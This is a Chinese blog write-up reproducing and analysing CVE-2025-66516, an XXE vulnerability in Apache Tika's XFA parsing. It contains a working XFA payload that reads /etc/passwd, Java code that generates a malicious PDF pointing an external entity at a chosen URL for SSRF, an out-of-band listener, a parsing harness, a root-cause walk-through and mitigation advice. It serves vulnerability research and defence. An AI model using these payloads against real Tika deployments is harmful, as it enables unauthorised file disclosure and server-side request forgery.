Apache Tika XXE注入漏洞 | CVE-2025-66516 复现&研究

0x0 背景介绍

Tika Pdf Parser Module是Apache软件基金会开发的Java库,专用于解析PDF文件内容。核心功能包括文本提取、元数据解析及嵌入式对象处理,基于Apache Tika框架实现,依赖PDFBox等开源库。
Apache Tika的tika-core(1.13-3.2.1)、tika-pdf-module(2.0.0-3.2.1)和tika-parsers(1.13-1.28.5)模块存在严重XXE漏洞(跨平台),攻击者可通过构造PDF内的XFA文件实施XML外部实体注入攻击。

本CVE与CVE-2025-54988描述的是同一漏洞,但在受影响包范围上进行了两处扩展。

0x1 环境搭建

Ubuntu24快速搭建配置

bash 复制代码
#项目创建
mkdir tika-CVE-2025-66516 && cd tika-CVE-2025-66516

#拉取环境&启动(使用 tika-server 可快速验证远程 SSRF;若需本地调试,建议使用 tika-app-3.2.1.jar)
wget https://repo1.maven.org/maven2/org/apache/tika/tika-server-standard/3.2.1/tika-server-standard-3.2.1.jar
java -jar tika-server-standard-3.2.1.jar -p 9998 --host 0.0.0.0

0x2 漏洞复现

1、附一个文件读取PDF,我看已经有扫描的POC就不做了

1、读取passwd功能

bash 复制代码
https://github.com/Kai-One001/cve-/blob/main/CVE-2025-66516-xfa-passwd.pdf

2、可利用XFA内容(XML)

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xdp:xdp [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" xml:lang="en">
<config xmlns="http://www.xfa.org/schema/xci/3.1/">
  <present><pdf><version>1.7</version></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
  <subform name="form1" layout="tb">
    <pageSet>
      <pageArea><contentArea/><medium stock="letter"/></pageArea>
    </pageSet>
    <subform>
      <field name="data">
        <ui><textEdit/></ui>
        <value><text>&xxe;</text></value>
      </field>
    </subform>
  </subform>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
  <xfa:data><form1><data>&xxe;</data></form1></xfa:data>
</xfa:datasets>
</xdp:xdp>
  • 定义外部实体,指向本地文件 : <!ENTITY xxe SYSTEM "file:///etc/passwd">
  • 在 XFA 模板中引用实体 : Tika 提取为文本<text>&xxe;</text>

2、伪造SSRF场景

场景说明:搭建带外(OOB)检测服务器,验证 SSRF 是否成功发起外部请求(本地闭环测试)

攻击者
  • 假设攻击者设备,发布8080服务,等待带外数据
py 复制代码
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/plain')
        self.end_headers()

        # 关键:必须是纯 ASCII 文本,不能有引号/特殊字符

​        self.wfile.write(b"SSRF_SUCCESS")#仅此一行

if __name__ == "__main__":
    server = HTTPServer(('0.0.0.0', 8080), Handler)
    print("Server running on http://0.0.0.0:8080")
    server.serve_forever()
	
  • 启动环境
py 复制代码
python server.py
漏洞利用模拟
  • POC文件
java 复制代码
cat > CreateProbePdf.java << 'EOF'
import org.apache.pdfbox.cos.COSArray;
import org.apache.pdfbox.cos.COSName;
import org.apache.pdfbox.cos.COSString;
import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.common.PDStream;
import org.apache.pdfbox.pdmodel.interactive.form.PDAcroForm;
import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;

public class CreateProbePdf {
    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.err.println("Usage: java CreateProbePdf <output.pdf> \"<ENTITY_PAYLOAD>\"");
            return;
        }

        String outputFile = args[0];
        String entityPayload = args[1]; // e.g., "http://192.168.63.128:8080/"
    
        PDDocument doc = new PDDocument();
        PDAcroForm form = new PDAcroForm(doc);
        doc.getDocumentCatalog().setAcroForm(form);
    
        // 关键:内嵌 DTD + 纯文本实体
        String xfa = "<?xml version=\"1.0\"?>\n" +
                "<!DOCTYPE xfa [\n" +
                "  <!ENTITY test SYSTEM \"" + entityPayload + "\">\n" +
                "]>\n" +
                "<xdp:xdp xmlns:xdp=\"http://ns.adobe.com/xdp/\">\n" +
                "  <template xmlns=\"http://www.xfa.org/schema/xfa-template/2.8/\">\n" +
                "    <subform name=\"form1\">\n" +
                "      <field name=\"leak\">\n" +
                "        <ui><textEdit/></ui>\n" +
                "        <value><text>&test;</text></value>\n" +  // 保留
                "      </field>\n" +
                "    </subform>\n" +
                "  </template>\n" +
                "  <xfa:datasets xmlns:xfa=\"http://www.xfa.org/schema/xfa-data/1.0/\">\n" +
                "    <xfa:data><leak>&test;</leak></xfa:data>\n" +  // 保留
                "  </xfa:datasets>\n" +
                "</xdp:xdp>";
    
        byte[] bytes = xfa.getBytes(StandardCharsets.UTF_8);
        PDStream xfaStream = new PDStream(doc, new ByteArrayInputStream(bytes));
    
        COSArray xfaArray = new COSArray();
        xfaArray.add(new COSString("config.xml")); // 名称占位(符合 PDF 规范)
        xfaArray.add(xfaStream);                  // 真实 XFA 数据流
    
        form.getCOSObject().setItem(COSName.XFA, xfaArray);
        doc.save("evil-xfa.pdf");
        doc.close();
        System.out.println("YES to evil-xfa.pdf generated");
    }

}
EOF
bash 复制代码
#附jar包
https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

https://repo1.maven.org/maven2/org/apache/pdfbox/pdfbox-app/2.0.30/pdfbox-app-2.0.30.jar
bash 复制代码
#编译
javac -cp pdfbox-app-2.0.30.jar CreateProbePdf.java

#运行生成恶意PDF
java -cp ".:pdfbox-app-2.0.30.jar" CreateProbePdf any_name.pdf "http://192.168.63.128:8080/"
  • 搭建一个本地利用窗口,模拟pdf被tika解析
java 复制代码
//攻击框架 PdfDemo.java
import java.io.InputStream;
import java.nio.file.*;
import org.apache.tika.metadata.Metadata;
import org.apache.tika.parser.AutoDetectParser;
import org.apache.tika.parser.ParseContext;
import org.apache.tika.sax.BodyContentHandler;

public class PdfDemo {
    public static void main(String[] args) throws Exception {
        try (InputStream is = Files.newInputStream(Paths.get("evil-xfa.pdf"))) {
            BodyContentHandler handler = new BodyContentHandler(-1); // -1 防截断
            Metadata metadata = new Metadata();
            ParseContext context = new ParseContext();

            AutoDetectParser parser = new AutoDetectParser();
            parser.parse(is, handler, metadata, context);
    
            System.out.println("=== 获取内容 ===");
            System.out.println(handler.toString());
        }
    }

}
bash 复制代码
javac -cp tika-app-3.2.1.jar PdfDemo.java
java -cp ".:tika-app-3.2.1.jar" PdfDemo


3、复现流量特征 (PCAP)

emmm长话短说,没来得及整,但是上传肯定能监控到的,恶意PDF内容如下:

0x3 漏洞原理分析

漏洞定位

已知:构造的 PDF 中包含 <text>&xxe;</text>用 tika-app-3.2.1.jar 解析后,&xxe; 被替换成实际内容,漏洞发生在XFA 内容被当作XML 解析的步骤

(1)入口:PDFParser 提取 XFA

找到PDF文件夹,定位文件PDFParser.java文件,快速预览见方法

java 复制代码
//tika-3.2.1\tika-parsers\tika-parsers-standard\tika-parsers-standard-modules\tika-parser-pdf-module\src\main\java\org\apache\tika\parser\pdf\PDFParser.java
    private void handleXFAOnly(PDDocument pdDocument, ContentHandler handler, Metadata metadata,
                               ParseContext context)
            throws SAXException, IOException, TikaException {
        XFAExtractor ex = new XFAExtractor();
        XHTMLContentHandler xhtml = new XHTMLContentHandler(handler, metadata);
        xhtml.startDocument();
        try (InputStream is = 
                UnsynchronizedByteArrayInputStream.builder().setByteArray(pdDocument.getDocumentCatalog().getAcroForm(null).getXFA().getBytes()).get()) {
            ex.extract(is, xhtml, metadata, context);
        } catch (XMLStreamException e) {
            throw new TikaException("XML error in XFA", e);
        }
        xhtml.endDocument();
    }

(2)核心解析:XFAExtractor 使用 StAX

明确将 XFA 字节流交给 XFAExtractor 处理,跟踪下该方法(Ctrl+单击跳转方法)

java 复制代码
//\tika-3.2.1\tika-parsers\tika-parsers-standard\tika-parsers-standard-modules\tika-parser-pdf-module\src\main\java\org\apache\tika\parser\pdf\XFAExtractor.java
XMLStreamReader reader = XMLReaderUtils.getXMLInputFactory(context).createXMLStreamReader(xfaIs);

看核心方法 extract()注意到:XMLStreamReader是Java StAX API的核心接口,StAX 默认会解析并展开外部实体,除非显式禁用

(3)配置集中管理:XMLReaderUtils

所有XML解析器的创建均委托给统一工具类XMLReaderUtils:

在开头,声明引入的库

java 复制代码
import org.apache.tika.utils.XMLReaderUtils;

定位文件位置:

bash 复制代码
tika-core\src\main\java\org\apache\tika\utils\XMLReaderUtils.java

该文件包含多种的解析器,进一步证明是统一管理入口:

java 复制代码
//tika-core\src\main\java\org\apache\tika\utils\XMLReaderUtils.java
public static SAXParser getSAXParser() throws TikaException { ... }
public static DocumentBuilder getDocumentBuilder() throws TikaException { ... }
public static XMLInputFactory getXMLInputFactory() { ... }
public static Transformer getTransformer() throws TikaException { ... }

能看到有多重防御XXE方案

java 复制代码
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
trySetSAXFeature(factory, "http://xml.org/sax/features/external-general-entities", false);
trySetSAXFeature(factory, "http://xml.org/sax/features/external-parameter-entities", false);
trySetSAXFeature(factory, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
trySetSAXFeature(factory, "http://apache.org/xml/features/nonvalidating/load-dtd-grammar", false);

不过在XMLInputFactory getXMLInputFactory()中,能构造的XFA数据包利用XXE

java 复制代码
public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // 以为这能防 XXE(实际返回空字符串)
    trySetStaxSecurityManager(factory);
    return factory;
}

(4)整体工作流:

bash 复制代码
PDFParser 提取 XFA 字节流 → 交给 XFAExtractor
XFAExtractor 调用 XMLReaderUtils.getXMLInputFactory() → 获取不安全的 factory
factory 创建 XMLStreamReader → 解析恶意 XFA
StAX 遇到 <!DOCTYPE ...> → 加载外部实体
遇到 &xxe; → 展开为文件内容/发起 HTTP 请求
内容被写入 XHTMLContentHandler → 最终输出到你的 handler.toString()

(5)结论:

只要DTD没被禁用,解析器就会先解析DOCTYPE声明,这时候即使后面用resolver返回空,攻击者仍可能利用DTD内部的结构(比如参数实体)发起攻击。所以根本解法是像 SAX 那样,显式设置SUPPORT_DTD=false。

0x4 修复建议

修复方案

  1. 官方已发布漏洞通告,建议受影响的用户依据官方通告进行修复。apache
    tika

  2. 临时防护措施:
    配置XML解析器 :如SAXParser、DOMParser禁用外部实体加载功能,或使用安全的XML解析库
    限制文件上传来源 :建议仅允许可信来源上传,并对文件内容进行监控分析
    部署WAF规则 :部署Web应用防火墙,拦截恶意XML实体声明

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

相关推荐
易知微EasyV数据可视化13 小时前
UE5中添加 PNG/TIF 到 Cesium 地球表面方案
经验分享·ue5·数字孪生
上海广测检测科技有限公司15 小时前
标签打印机CE与台湾BSMI+NCC双轨认证详解:多射频模块与电气安全叠加路径
经验分享
nvd1119 小时前
深入剖析:GCP Pub/Sub 与 Apache Kafka 对消息处理延迟与消费者卡死的处理机制异同
分布式·kafka·apache
Go Work19 小时前
2026 Cadence SPB 24.1中文版安装图文详解(附安装包)
经验分享·笔记
虹科网络安全20 小时前
“顶会”看安全(十九):医疗 AI 中的差异化隐私风险
人工智能·经验分享·安全
贵州诚鑫致达科技有限公司21 小时前
PVID 是什么?端口参数三身份
服务器·经验分享
一滴泪的时间21 小时前
RFID 资产项目硬件采购避坑要点
经验分享
杨逢昌工厂6S管理1 天前
116——杨逢昌:归位三定闭环法的旺季轻量化执行方案与工具清单
经验分享·笔记·职场和发展·学习方法
一滴泪的时间1 天前
不同行业 RFID 硬件落地场景对比分析
经验分享
Water_based1 天前
水性滚涂漆应用于滚喷机小五金件喷涂工艺详解
经验分享·笔记·产品经理